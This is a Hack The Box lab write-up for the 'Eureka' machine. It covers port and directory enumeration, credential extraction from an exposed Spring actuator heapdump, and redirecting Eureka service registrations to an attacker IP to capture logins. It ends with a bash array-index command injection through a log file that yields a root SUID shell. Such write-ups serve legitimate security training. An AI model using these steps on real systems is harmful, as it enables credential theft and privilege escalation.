Write Ups

Here you can find some writeups of Hack The Box machines that I have solved. Open them to see the details of each machine, including the steps I took to solve them, the tools I used, and any challenges I faced along the way.

Feel free to reach out if you have any questions or want to discuss anything related to cybersecurity or web development.

Check out other write ups

Eureka

Eureka icon

Difficulty: Hard

OS: Linux

Solved on: 2025/08/15

htb logo

Enumeration

We start by scanning the target machine for open ports using Nmap. We will use the -p- option to scan all ports and the --open option to filter out closed ports:

nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.11.66 -o allPorts
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
8761/tcp open  unknown syn-ack ttl 63

Now we will scan the open ports with service version detection and script scanning using -sC and -sV options

nmap -p 22,80,8761 -sCV 10.10.11.66 -o targeted
PORT   STATE SERVICE VERSION
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
|   256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
|_  256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
8761/tcp open  http    Apache Tomcat (language: en)
|_http-title: Site doesn't have a title.
| http-auth: 
| HTTP/1.1 401 \x0D
|_  Basic realm=Realm
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We add dns resolution to our /etc/hosts file for easier access:

echo "10.10.11.66 eureka.htb furni.htb" | sudo tee -a /etc/hosts

We do a directory brute force using gobuster to find hidden directories on the web server:

gobuster dir -u http://furni.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200
/login                (Status: 200) [Size: 1550]
/register             (Status: 200) [Size: 9028]
/about                (Status: 200) [Size: 14351]
/contact              (Status: 200) [Size: 10738]
/services             (Status: 200) [Size: 14173]
/blog                 (Status: 200) [Size: 13568]
/shop                 (Status: 200) [Size: 12412]
/comment              (Status: 302) [Size: 0] [--> http://furni.htb/login]
/cart                 (Status: 302) [Size: 0] [--> http://furni.htb/login]
/logout               (Status: 200) [Size: 1159]
/checkout             (Status: 302) [Size: 0] [--> http://furni.htb/login]
/error                (Status: 500) [Size: 73]

All of them are accessible through the web page.

We try directory brute forcing using dirsearch to find hidden directories on the web server:

python3 dirsearch.py -u http://furni.htb/ -x 400 
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25
Wordlist size: 12292

Target: http://furni.htb/

[14:32:09] Scanning:                                                                         
[14:32:27] 200 -   14KB - /about                                            
[14:32:28] 200 -    2KB - /actuator                                         
[14:32:28] 200 -    20B - /actuator/caches                                  
[14:32:28] 200 -    6KB - /actuator/env                                     
[14:32:28] 200 -   467B - /actuator/features
[14:32:28] 200 -    15B - /actuator/health                                  
[14:32:28] 200 -     2B - /actuator/info                                    
[14:32:29] 200 -    3KB - /actuator/metrics                                 
[14:32:29] 200 -    54B - /actuator/scheduledtasks                          
[14:32:28] 200 -   36KB - /actuator/configprops                             
[14:32:29] 200 -   35KB - /actuator/mappings                                
[14:32:29] 405 -   114B - /actuator/refresh                                 
[14:32:28] 200 -   99KB - /actuator/loggers                                 
[14:32:28] 200 -  180KB - /actuator/conditions                              
[14:32:28] 200 -  198KB - /actuator/beans                                   
[14:32:29] 200 -  402KB - /actuator/threaddump                              
[14:32:28] 200 -   76MB - /actuator/heapdump                                

We find some actuator endpoints that may be useful for exploitation.

We download the file /actuator/heapdump and look for interesting strings:

wget http://furni.htb/actuator/heapdump -O heapdump.hprof
strings heapdump.hprof | grep -i 'passw'
strings heapdump.hprof | grep -i '8761'
{password=0sc@r190_S0l!dP@sswd, user=oscar190}!
http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka

We try to login with EurekaSrvr:0scarPWDisTheB3st on http://eureka.htb:8761 and we see a Eureka Netflix Spring Cloud.

We try to log in with oscar190:0sc@r190_S0l!dP@sswd on ssh eureka.htb and we get a shell.

User Exploitation

We check for sudo privileges:

sudo -l
[sudo] password for oscar190: 
Sorry, user oscar190 may not run sudo on localhost.

We look for Eureka Netflix Spring Cloud vulnerabilities online. And we find this https://engineering.backbase.com/2023/05/16/hacking-netflix-eureka.

We will add a new service instance of USER-MANAGEMENT-SERVICE and listen on port 8081.

curl -X POST http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/apps/USER-MANAGEMENT-SERVICE  -H 'Content-Type: application/json' -d '{ 
  "instance": {
    "instanceId": "USER-MANAGEMENT-SERVICE",
    "hostName": "10.10.14.216",
    "app": "USER-MANAGEMENT-SERVICE",
    "ipAddr": "10.10.14.216",
    "vipAddress": "USER-MANAGEMENT-SERVICE",
    "secureVipAddress": "USER-MANAGEMENT-SERVICE",
    "status": "UP",
    "port": {   
      "$": 8081,
      "@enabled": "true"
    },
    "dataCenterInfo": {
      "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
      "name": "MyOwn"
    }
  }
}
'

We can use nc to listen on port 8081 and capture the traffic:

nc -lvnp 8081
username=miranda.wise%40furni.htb&password=IL%21veT0Be%26BeT0L0ve&_csrf=T_ZeEBUEDlzQ-k6HIyeR02oreezhM3exMpf_90HYvUNRnJuxfs5vdHA8bDn9yH6_EQql41ofVNWDVkWcVq_Iw3G8jnQ3-qyA

We can reuse the found credentials (miranda-wise:IL!veT0Be&BeT0L0ve) to access ssh eureka.htb:

ssh miranda-wise@eureka.htb
whoami
miranda-wise

We find the user flag in home directory:

cat /home/miranda-wise/user.txt
user flag value

Root Exploitation

We create a custom made process monitor, to see new processes in the system:

#!/bin/bash

INTERVAL=1
oldps=/tmp/oldps
newps=/tmp/newps
ps aux > $oldps

while true; do
        ps aux > $newps
        if diff -q $oldps $newps >/dev/null; then
                echo ""
        else
                diff $oldps $newps | grep ">"  | grep -v "ps aux" # solo los procesos nuevos
        fi
        sleep $INTERVAL
        cp $newps $oldps
done;

If we run the process monitor, we can see the following new processes being spawned:

root      185158  0.0  0.0   2608   596 ?        Ss   16:38   0:00 /bin/sh -c /opt/scripts/log_cleanup.sh
root      185160  0.0  0.0   2608   600 ?        S    16:38   0:00 /bin/sh /opt/scripts/log_cleanup.sh
root      185162  7.0  0.0   7024  3304 ?        S    16:38   0:00 /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log

We find that root is running a custom made log analyser /opt/log_analyse.sh.

If we look at the content of this script, we see there is a problem with if [[ "$existing_code" -eq "$code" ]]; then:

analyze_http_statuses() {
    # Process HTTP status codes
    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: \K.*')
        found=0
        # Check if code exists in STATUS_CODES array
        for i in "${!STATUS_CODES[@]}"; do
            existing_entry="${STATUS_CODES[$i]}"
            existing_code=$(echo "$existing_entry" | cut -d':' -f1)
            existing_count=$(echo "$existing_entry" | cut -d':' -f2)
            if [[ "$existing_code" -eq "$code" ]]; then
                new_count=$((existing_count + 1))
                STATUS_CODES[$i]="${existing_code}:${new_count}"
                break
            fi
        done
    done < <(grep "HTTP.*Status: " "$LOG_FILE")
}

If we can change the value of code, we will be able to execute arbitrary commands as root.

We can add a line to the log file (which will be processed by the log analysis script) with the desired command:

HTTP Status: fake_array[$(cp /bin/bash /tmp/pwn; chmod +s /tmp/pwn)]

This way, $code variable will contain fake_array[$(<command>)] and it will be treated as an array. Bash will execute the command inside the array to get the index value.

First, we have to delete the existing /var/www/web/cloud-gateway/log/application.log and create a new one with the same name, that way we can control the log content.

rm /var/www/web/cloud-gateway/log/application.log
echo 'HTTP Status: fake_array[$(cp /bin/bash /tmp/pwn; chmod +s /tmp/pwn)]' >> /var/www/web/cloud-gateway/log/application.log

Then we wait until root executes the log analysis script, which will process the log file and trigger our payload.

ls -l /tmp/pwn
-rwsr-sr-x 1 root root 1183448 Aug 16 17:48 /tmp/pwn*

Now, we can execute our payload with the following command:

/tmp/pwn -p
whoami
root

Finally, we can find the root flag in the root directory:

cat /root/root.txt
root flag value

Conclusion

In this write-up, we have demonstrated the process of exploiting a vulnerable log analysis script to gain root access on the target machine. By carefully crafting our payload and manipulating the log file, we were able to escalate our privileges and ultimately retrieve the root flag. This exercise highlights the importance of secure coding practices and the need for thorough input validation in scripts that process user-generated content.


Check out other write ups

Here you can find some writeups of Hack The Box machines that I have solved. Open them to see the details of each machine, including the steps I took to solve them, the tools I used, and any challenges I faced along the way.